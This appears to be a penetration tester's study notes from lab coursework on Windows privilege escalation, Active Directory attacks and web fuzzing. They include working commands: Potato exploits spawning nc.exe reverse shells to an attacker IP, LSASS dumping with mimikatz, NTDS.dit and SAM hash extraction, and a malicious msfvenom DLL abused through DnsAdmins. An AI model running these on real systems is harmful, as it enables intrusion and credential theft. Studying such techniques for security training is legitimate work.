Running processes ([tasklist](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tasklist)):
```cmd-session
tasklist /svc
```
Standard processes to know: [smss.exe](https://en.wikipedia.org/wiki/Session_Manager_Subsystem), [csrss.exe](https://en.wikipedia.org/wiki/Client/Server_Runtime_Subsystem), [winlogon.exe](https://en.wikipedia.org/wiki/Winlogon), [LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service), [svchost.exe](https://en.wikipedia.org/wiki/Svchost.exe).
Environment variables:
```cmd-session
set
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\Administrator\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=WINLPE-SRV01
ComSpec=C:\Windows\system32\cmd.exe
HOMEDRIVE=C:
HOMEPATH=\Users\Administrator
LOCALAPPDATA=C:\Users\Administrator\AppData\Local
LOGONSERVER=\\WINLPE-SRV01
NUMBER_OF_PROCESSORS=6
OS=Windows_NT
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Users\Administrator\AppData\Local\Microsoft\WindowsApps;
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=AMD64 Family 23 Model 49 Stepping 0, AuthenticAMD
PROCESSOR_LEVEL=23
PROCESSOR_REVISION=3100
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=$P$G
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
PUBLIC=C:\Users\Public
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\Windows
TEMP=C:\Users\ADMINI~1\AppData\Local\Temp\1
TMP=C:\Users\ADMINI~1\AppData\Local\Temp\1
USERDOMAIN=WINLPE-SRV01
USERDOMAIN_ROAMINGPROFILE=WINLPE-SRV01
USERNAME=Administrator
USERPROFILE=C:\Users\Administrator
windir=C:\Windows
```
systeminfo (patch level, VM detection — Google KBs under [HotFixes](https://www.catalog.update.microsoft.com/Search.aspx?q=hotfix)):
```cmd-session
systeminfo
```
Query hotfixes with WMI ([QFE](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-quickfixengineering)):
```cmd-session
wmic qfe
```
With PowerShell ([Get-Hotfix](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-hotfix?view=powershell-7.1)):
```powershell-session
Get-HotFix | ft -AutoSize
```
Installed software via WMI:
```cmd-session
wmic product get name
```
With PowerShell ([Get-WmiObject](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1)):
```powershell-session
Get-WmiObject -Class Win32_Product | select Name, Version
```
Active connections ([netstat](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/netstat)):
```cmd-session
netstat -ano
```
Logged-In Users:
```cmd-session
query user
```
Current user:
```cmd-session
echo %USERNAME%
```
Current User Privileges:
```cmd-session
whoami /priv
```
Current User Group Information:
```cmd-session
whoami /groups
```
Get All Users:
```cmd-session
net user
```
Get all groups:
```cmd-session
net localgroup
```
Details About a Group:
```cmd-session
net localgroup administrators
```
Get Password Policy & Account Information:
```cmd-session
net accounts
```
Cheat sheet:
PowerShell script combining processes with listening ports:
```powershell
Get-NetTCPConnection | Where-Object {$_.State -eq 'Listen'} | ForEach-Object {
$svc = (Get-WmiObject Win32_Service -Filter "ProcessId = $($_.OwningProcess)" | Select-Object -First 1).Name;
"$($_.LocalAddress):$($_.LocalPort) - PID: $($_.OwningProcess) - Service: $(if($svc){$svc}else{'N/A'})"
}
```
#### Named Pipes
Enumerate named pipes with [PipeList](https://docs.microsoft.com/en-us/sysinternals/downloads/pipelist):
```cmd-session
pipelist.exe /accepteula
```
With PowerShell:
```powershell-session
gci \\.\pipe\
```
Enumerate permissions with [Accesschk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk):
```cmd-session
accesschk.exe /accepteula \\.\Pipe\lsass -v
```
[WindscribeService Named Pipe Privilege Escalation](https://www.exploit-db.com/exploits/48021):
```cmd-session
accesschk.exe -accepteula -w \pipe\WindscribeService -v
```
#### Windows Groups & Privileges
Privileged groups: Default Administrators, Server Operators, Backup Operators, Print Operators, Hyper-V Administrators, Account Operators, Remote Desktop Users, Remote Management Users, Group Policy Creator Owners, Schema Admins, DNS Admins. See [privileged accounts and groups in AD](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory).
Notable [User Rights Assignments](https://4sysops.com/archives/user-rights-assignment-in-windows-server-2016/): `SeNetworkLogonRight`, `SeRemoteInteractiveLogonRight`, `SeBackupPrivilege`, `SeSecurityPrivilege`, `SeTakeOwnershipPrivilege`, `SeDebugPrivilege`, `SeImpersonatePrivilege`, `SeLoadDriverPrivilege`, `SeRestorePrivilege`, `SeTcbPrivilege`.
Scripts to enable privileges: [Enable-Privilege.ps1](https://www.powershellgallery.com/packages/PoshPrivilege/0.3.0.0/Content/Scripts%5CEnable-Privilege.ps1) · [adjusting token privileges](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/). Detection: [event 4672](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672); see [this post](https://blog.palantir.com/windows-privilege-abuse-auditing-detection-and-defense-3078a403d74e). Token impersonation [paper](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt).
#### SeImpersonate / SeAssignPrimaryToken (Potato Attacks)
Connect to MSSQL with [mssqlclient.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py):
```shell-session
mssqlclient.py sql_dev@10.129.43.30 -windows-auth
```
Enable `xp_cmdshell`:
```shell-session
enable_xp_cmdshell
```
```shell-session
xp_cmdshell whoami
```
```shell-session
xp_cmdshell whoami /priv
```
Escalate with `JuicyPotato.exe` + `nc.exe` (start a listener on 8443):
```shell-session
xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *
```
JuicyPotato doesn't work on Windows Server 2019 / Windows 10 build 1809+; use [PrintSpoofer](https://github.com/itm4n/PrintSpoofer) or [RoguePotato](https://github.com/antonioCoco/RoguePotato). See [this blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/).
Escalating Privileges using PrintSpoofer:
```shell-session
xp_cmdshell c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"
```
#### SeDebugPrivilege
Dump LSASS with [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump):
```cmd-session
procdump.exe -accepteula -ma lsass.exe lsass.dmp
```
Note: type "log" in Mimikatz first to save output to a .txt file.
```cmd-session
mimikatz.exe
log
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
```
Leverage SeDebugPrivilege for [RCE](https://decoder.cloud/2018/02/02/getting-system/); also [this tool](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC).
#### SeTakeOwnershipPrivilege
Enable the privilege with [this script](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1):
```powershell-session
Import-Module .\Enable-Privilege.ps1
.\EnableAllTokenPrivs.ps1
whoami /priv
```
Gather info about the target file:
```powershell-session
Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}
```
Checking File Ownership:
```powershell-session
cmd /c dir /q 'C:\Department Shares\Private\IT'
```
Change ownership with [takeown](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/takeown):
```powershell-session
takeown /f 'C:\Department Shares\Private\IT\cred.txt'
```
Confirm ownership:
```powershell-session
Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}
```
Modify the file ACL with `icacls`:
```powershell-session
icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F
```
#### Backup Operators
Membership grants `SeBackup` and `SeRestore`. Use [this PoC](https://github.com/giuliano108/SeBackupPrivilege):
```powershell-session
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
```
```powershell-session
Get-SeBackupPrivilege
```
Enable if disabled:
```powershell-session
Set-SeBackupPrivilege
```
Copy a Protected File:
```powershell-session
Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txt
```
Attacking a Domain Controller — Copying NTDS.dit using [diskshadow](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow):
```
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup
exit
```
Copying NTDS.dit Locally:
```powershell-session
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
```
Backing up SAM and SYSTEM Registry Hives:
```cmd-session
reg save HKLM\SYSTEM SYSTEM.SAV
```
```cmd-session
reg save HKLM\SAM SAM.SAV
```
Extracting Credentials from NTDS.dit (DSInternals):
```
Import-Module .\DSInternals.psd1
$key = Get-BootKey -SystemHivePath .\SYSTEM
Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key
```
Extracting Hashes Using SecretsDump:
```shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
```
Copying Files with Robocopy:
```cmd-session
robocopy /B E:\Windows\NTDS .\ntds ntds.dit
```
#### Event Log Readers
Study: . Confirming Group Membership:
```cmd-session
net localgroup "Event Log Readers"
```
Query Windows events with [wevtutil](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil):
```powershell-session
wevtutil qe Security /rd:true /f:text | Select-String "/user"
```
Specify alternate credentials:
```cmd-session
wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"
```
Searching Security Logs Using Get-WinEvent:
```powershell-session
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}
```
#### DnsAdmins
— abuse `ServerLevelPluginDll` to load a custom DLL when DNS runs on a DC.
Generating Malicious DLL:
```shell-session
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
```
Downloading File to Target:
```powershell-session
wget "http://10.10.14.3:7777/adduser.dll" -outfile "adduser.dll"
```
Loading DLL as Member of DnsAdmins:
```powershell-session
Get-ADGroupMember -Identity DnsAdmins
```
Loading Custom DLL:
```cmd-session
dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
```
Finding User's SID:
```cmd-session
wmic useraccount where name="netadm" get sid
```
Check permissions on the service:
```cmd-session
sc.exe sdshow DNS
```
Stop and start the service:
```cmd-session
sc stop dns
```
```cmd-session
sc start dns
```
```cmd-session
net group "Domain Admins" /dom
```
Cleaning Up — Confirming Registry Key Added:
```cmd-session
reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
```
> *\[Screenshot: Pasted image 20260211213230.png]*
Remove the key:
```cmd-session
reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
```
Starting the DNS Service Again:
```cmd-session
sc.exe start dns
```
```cmd-session
sc query dns
```
Using Mimilib.dll — ([mimilib](https://github.com/gentilkiwi/mimikatz/tree/master/mimilib), [kdns.c](https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kdns.c)).
Creating a WPAD Record — Disabling the Global Query Block List:
```powershell-session
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local
```
Adding a WPAD Record:
```powershell-session
Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3
```
#### Hyper-V Administrators
Virtualization admins should be considered Domain Admins where virtual DCs exist.
***
### Attacking Web Applications with Ffuf
Directory Fuzzing:
```shell-session
ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ
```
```shell-session
ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt:FUZZ -u http://94.237.57.211:37047/FUZZ
```
Extension Fuzzing:
```shell-session
ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://SERVER_IP:PORT/blog/indexFUZZ
```
Page Fuzzing:
```shell-session
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/blog/FUZZ.php
```
Recursive Scanning:
```shell-session
ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php -v
```
Sub-domain Fuzzing:
```shell-session
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u https://FUZZ.inlanefreight.com/
```
VHosts Fuzzing — a VHost is served on the same server/IP; may or may not have public DNS records:
```shell-session
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb'
```
Filtering Results:
```shell-session
ffuf -w /opt/useful/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb' -fs 900
```
GET Request Fuzzing:
```shell-session
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php?FUZZ=key -fs xxx
```
Parameter Fuzzing - POST:
```shell-session
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx
```
Curl the content of a page with a POST request:
```bash
curl URL -X POST -d 'id=73' -H 'Content-Type: application/x-www-form-urlencoded'
```
Create a wordlist of IDs 1–1000:
```shell-session
for i in $(seq 1 1000); do echo $i >> ids.txt; done
```
Value Fuzzing:
```shell-session
ffuf -w ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx
```
***
## Part 2 — Science & Theory
### What is a FIFO (Named Pipe)?
* FIFO = **First In, First Out**.
* A **named pipe** is a special kind of file that lives in the filesystem but doesn't store data on disk.
* Instead, it's a communication channel between two processes.
Think of it like a tube: one process **writes** into the pipe, another process **reads** from it. The data flows through, but isn't stored permanently.
**How to Create and Use** — create one with `mkfifo /tmp/f`. Check it with `ls -l /tmp/f` — the `p` at the start (`prw-r--r--`) means it's a pipe. Example: in Terminal 1 run `cat /tmp/f` (read from the pipe); in Terminal 2 run `echo "Hello" > /tmp/f` (write into the pipe). "Hello" appears in Terminal 1 immediately.
***
### Staged vs. Stageless Payloads
`Staged` payloads send over more components of the attack — "setting the stage". For example `linux/x86/shell/reverse_tcp` sends a small `stage` that executes on the target and then calls back to the attack box to download the remainder of the payload over the network, then executes the shellcode to establish a reverse shell. A stage takes up memory, leaving less space for the payload.
`Stageless` payloads do not have a stage. For example `linux/zarch/meterpreter_reverse_tcp` is sent in its entirety across a network connection without a stage. This benefits low-bandwidth/high-latency environments, and can be better for evasion due to less traffic passing over the network.
Identifying them by name: `linux/x86/shell/reverse_tcp` is staged — each `/` represents a stage (`/shell/` is a stage, `/reverse_tcp` is another). A stageless payload looks pressed together, e.g. `linux/zarch/meterpreter_reverse_tcp`. Similarly, `windows/meterpreter/reverse_tcp` is `Staged` while `windows/meterpreter_reverse_tcp` is `Stageless`. The description will often state whether the payload is staged or stageless. See [Rapid7's blog on stageless Meterpreter payloads](https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/).
***
### Keytab Files
A **keytab** (key table) is a file that stores **Kerberos principals and their encrypted keys (passwords)**. It allows a Linux system or service to **authenticate to Active Directory (or a Kerberos realm) without needing a human to type a password**. The keys inside are encrypted, so the actual password is not stored in plain text.
**Why used** — to allow non-interactive logins (services, daemons, cron jobs), to join Linux to AD securely, and to let Linux services authenticate against AD using Kerberos without storing raw passwords.
**Typical Keytab Locations** — `/etc/krb5.keytab` (default system keytab, used by the host itself); `/etc/security/keytabs/` (sometimes services keep their own keytab here).
***
### ccache Files (and .kirbi / .keytab)
In a Kerberos environment, once you authenticate, Kerberos issues a **TGT (Ticket Granting Ticket)** and possibly service tickets. These are stored locally in a **credential cache** file — a **ccache file** — a container that holds your Kerberos tickets after login.
**Why used** — so you don't need to re-enter your password every time you access a service (SMB share, SSH, etc.). The system reuses the tickets from the ccache until they expire — the Kerberos equivalent of a "session cookie."
**Where stored** — by default `/tmp/krb5cc_` (e.g. `/tmp/krb5cc_1000`). Override with `KRB5CCNAME=/path/to/custom_cache`.
**View ccache contents** with `klist`:
```
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: user@EXAMPLE.COM
Valid starting Expires Service principal
09/02/25 10:00:00 09/02/25 20:00:00 krbtgt/EXAMPLE.COM@EXAMPLE.COM
```
**How ccache is created** — run `kinit user@EXAMPLE.COM` and type your password; Kerberos authenticates and stores the TGT. Or authenticate with a keytab: `kinit -k -t /etc/krb5.keytab host/linux01.example.com@EXAMPLE.COM`.
**Key difference (ccache vs keytab)** — a **keytab** is a long-term credential store (like a service's password); a **ccache** holds short-term session tickets (like a logged-in user's Kerberos session).
**File format summary:**
* **`.kirbi`** → Windows-format Kerberos ticket (exported with tools like Mimikatz).
* **`.ccache`** → Linux-format Kerberos credential cache (holds active tickets for a session).
* **`.keytab`** → File with long-term Kerberos keys (derived from a password) used for non-interactive logins.
***
### psexec.py & wmiexec.py
**Psexec.py** is a clone of the Sysinternals psexec. The tool creates a remote service by uploading a randomly-named executable to the `ADMIN$` share on the target, registers the service via `RPC` and the `Windows Service Control Manager`, and communicates over a named pipe — providing an interactive remote shell as `SYSTEM`.
**Wmiexec.py** uses a semi-interactive shell where commands are executed through [WMI](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page). It does not drop files/executables on the target and generates fewer logs. It runs as the local admin user you connected with (stealthier than SYSTEM executing many commands), but would still likely be caught by modern AV/EDR.
***
### Kerberoasting (Overview, Attack, Efficacy)
#### Overview
Kerberoasting is a lateral movement / privilege escalation technique in AD that targets [Service Principal Names (SPN)](https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names) accounts. SPNs map a service instance to a service account. Any domain user can request a Kerberos ticket for any service account in the same domain (and across forest trusts if authentication is permitted). All you need is an account's cleartext password (or NTLM hash), a shell as a domain user, or SYSTEM access on a domain-joined host.
Service accounts are often local admins or highly-privileged domain accounts, and are frequently added to privileged groups. The TGS-REP ticket is encrypted with the service account's NTLM hash, so the cleartext password can potentially be obtained via an offline brute-force attack (e.g. Hashcat). Service accounts often have weak/reused passwords. Even a low-priv cracked account lets you craft service tickets for the SPN's service (e.g. `MSSQL/SRV01` → access the MSSQL service as sysadmin, enable `xp_cmdshell`, gain code execution). See Tim Medin's [Derbycon 2014 talk](https://youtu.be/PUyhlN-E5MU).
#### Performing the Attack
This attack can be performed from: a non-domain joined Linux host using valid credentials; a domain-joined Linux host as root (via keytab); a domain-joined Windows host as a domain user; a domain-joined Windows host with a shell in a domain account's context; as SYSTEM on a domain-joined Windows host; or a non-domain joined Windows host using [runas](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525\(v=ws.11\)) /netonly.
Tools: Impacket's [GetUserSPNs.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py); setspn.exe + PowerShell + Mimikatz; PowerView, [Rubeus](https://github.com/GhostPack/Rubeus). The TGS ticket must still be `cracked` offline (TGS tickets take longer to crack than NTLM hashes).
#### Efficacy of the Attack
The presence of SPNs does not guarantee access. You might crack a TGS and get Domain Admin, or crack tickets that give no additional access, or fail to crack any ticket. Report the finding regardless: high-risk when it gains access; medium-risk when strong passwords prevented cracking (make the client aware of the SPN risk while noting the mitigating control).
***
### Why ACEs Are Important
Attackers use ACE (Access Control Entry) entries to further access or establish persistence. They can't be detected by vulnerability scanners and often go unchecked for years. ACL abuse can achieve lateral/vertical movement and full domain compromise. Example object security permissions (enumerable and abusable with BloodHound and PowerView):
* `ForceChangePassword` abused with `Set-DomainUserPassword`
* `Add Members` abused with `Add-DomainGroupMember`
* `GenericAll` abused with `Set-DomainUserPassword` or `Add-DomainGroupMember`
* `GenericWrite` abused with `Set-DomainObject`
* `WriteOwner` abused with `Set-DomainObjectOwner`
* `WriteDACL` abused with `Add-DomainObjectACL`
* `AllExtendedRights` abused with `Set-DomainUserPassword` or `Add-DomainGroupMember`
* `AddSelf` abused with `Add-DomainGroupMember`
> *\[Screenshot: Pasted image 20251001231825.png]*
***
### PetitPotam (MS-EFSRPC)
PetitPotam ([CVE-2021-36942](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942)) is an LSA spoofing vulnerability patched in August 2021. It allows an unauthenticated attacker to coerce a Domain Controller to authenticate against another host using NTLM over port 445 via the [LSARPC](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc) by abusing [MS-EFSRPC](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31). Where [AD CS](https://docs.microsoft.com/en-us/learn/modules/implement-manage-active-directory-certificate-services/2-explore-fundamentals-of-pki-ad-cs) is in use, the coerced DC authentication is relayed to the CA's Web Enrollment page to make a CSR for a new certificate. That certificate is used with `Rubeus` or `gettgtpkinit.py` from [PKINITtools](https://github.com/dirkjanm/PKINITtools) to request a TGT for the DC, leading to domain compromise via DCSync.
The Privileged Attribute Certificate (PAC) is an extension to Kerberos service tickets containing information about the authenticating user and their privileges. See .
***
### Domain Trusts Overview
A [trust](https://social.technet.microsoft.com/wiki/contents/articles/50969.active-directory-forest-trust-attention-points.aspx) establishes forest-forest or domain-domain authentication, allowing users to access resources in another domain. Types:
* `Parent-child`: Two or more domains in the same forest. Two-way transitive trust (e.g. `corp.inlanefreight.local` ↔ `inlanefreight.local`).
* `Cross-link`: A trust between child domains to speed up authentication.
* `External`: A non-transitive trust between two separate domains in separate forests. Uses [SID filtering](https://www.serverbrain.org/active-directory-2008/sid-history-and-sid-filtering.html).
* `Tree-root`: A two-way transitive trust between a forest root domain and a new tree root domain.
* `Forest`: A transitive trust between two forest root domains.
* [ESAE](https://docs.microsoft.com/en-us/security/compass/esae-retirement): A bastion forest used to manage Active Directory.
Trusts can be transitive or non-transitive. A `transitive` trust extends to objects the child domain trusts (if `Domain A` trusts `Domain B`, and `Domain B` has a transitive trust with `Domain C`, then `Domain A` automatically trusts `Domain C`). In a `non-transitive` trust, only the child domain itself is trusted.
***
### allow\_url\_include & LFI Severity
`allow_url_include` (PHP) controls whether `include()` / `require()` can load code **from URL wrappers** (`http://`, `https://`, `ftp://`, and some stream wrappers). Off (default in modern PHP): `include()` can't pull code from remote URLs. On: `include()` can include content via URL wrappers → much higher risk. Related: `allow_url_fopen` affects URL access for `fopen()` / `file_get_contents()`; `allow_url_include` is specifically about `include`/`require`, which turns "read content" into "execute as PHP code."
**Why it matters for LFI severity:**
* With `allow_url_include = Off`, LFI typically enables **local file disclosure** — inclusion is constrained to files that already exist on the server.
* With `allow_url_include = On`, the same "include from user input" mistake can become **much more severe** via URL wrappers — a path to **code execution**, because `include()` executes the included content as PHP.
Checking this setting helps classify LFI severity and prioritize remediation (turning it off reduces attack surface even if a bug exists).
***
### CGI (Common Gateway Interface)
A [CGI](https://www.w3.org/CGI/) helps a web server render dynamic pages and create customized responses. CGI applications are primarily used to access other applications running on a web server — middleware between web servers, external databases, and information sources. CGI scripts are kept in the `/CGI-bin` directory and can be written in C, C++, Java, PERL, etc. They run in the security context of the web server, and are often used for guest books, forms, mailing lists, blogs, etc.
Typical use cases: when the web server must dynamically interact with the user; when a user submits data via a form (the CGI application processes the data and returns the result). Broadly: a `CGI-bin` directory contains the scripts; the user sends a request via a URL (e.g. `https://acme.com/cgi-bin/newchiscript.pl`); the server runs the script and passes the output back to the client.
> *\[Screenshot: Pasted image 20260201022431.png]*
***
### Escaping Restricted Shells (concepts)
**Command Substitution** — use the shell's command substitution syntax (e.g. backticks) to execute a command not restricted by the shell.
**Command Chaining** — use multiple commands in one line separated by a metacharacter (`;` or `|`) to execute a command the shell would otherwise restrict.
**Environment Variables** — modify or create environment variables the shell uses (e.g. change the directory in which commands are executed) to run non-restricted commands.
**Shell Functions** — define and call shell functions that execute commands not restricted by the shell.
***
### SeImpersonatePrivilege & Potato Exploits
#### How SeImpersonatePrivilege Works
Windows security context: Process Identity → User Account (e.g. SERVICE, LOCAL SERVICE) → Token (Security Context, defines privileges/groups/rights) → SeImpersonatePrivilege → "I can pretend to be other users". Legitimate uses: services impersonating clients, COM/DCOM servers, AD delegation, IIS/ASP.NET impersonation.
#### In Potato Exploits
The exploit chain: 1. Service Account (with SeImpersonate) → 2. Trigger authentication from a higher-privileged account → 3. Capture authentication token via NTLM/Negotiate → 4. Impersonate the captured token (SeImpersonate enables this) → 5. Execute code as SYSTEM/Admin.
**Variants:**
* **Hot Potato (2015)** — combines NBNS spoofing + WPAD proxy + NTLM relay; uses SeImpersonate to impersonate the captured SYSTEM token.
* **Rogue Potato (2020)** — improved version for newer Windows; uses the OXID resolver instead of WPAD.
* **Juicy Potato (2018)**:
```
# Classic Juicy Potato usage
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami" -t *
# -t * = Try all COM server CLSIDs until one works
```
Flow: attacker (with SeImpersonate) runs Juicy Potato → triggers DCOM activation as SYSTEM → captures SYSTEM token via BITS → impersonates SYSTEM → spawns a new process as SYSTEM.
* **Lonely Potato / Sweet Potato (2021)** — works on Windows Server 2019/2022; uses Print Spooler or EFSRPC instead of DCOM.
#### Who Has SeImpersonatePrivilege by Default?
Service accounts: LOCAL SERVICE, NETWORK SERVICE, IIS AppPool Identities, SQL Server Service Account, many third-party service accounts. User accounts: Administrators (but they don't need Potato exploits); standard users and minimal-privilege service accounts do NOT.
```
whoami /priv | findstr /i impersonate
```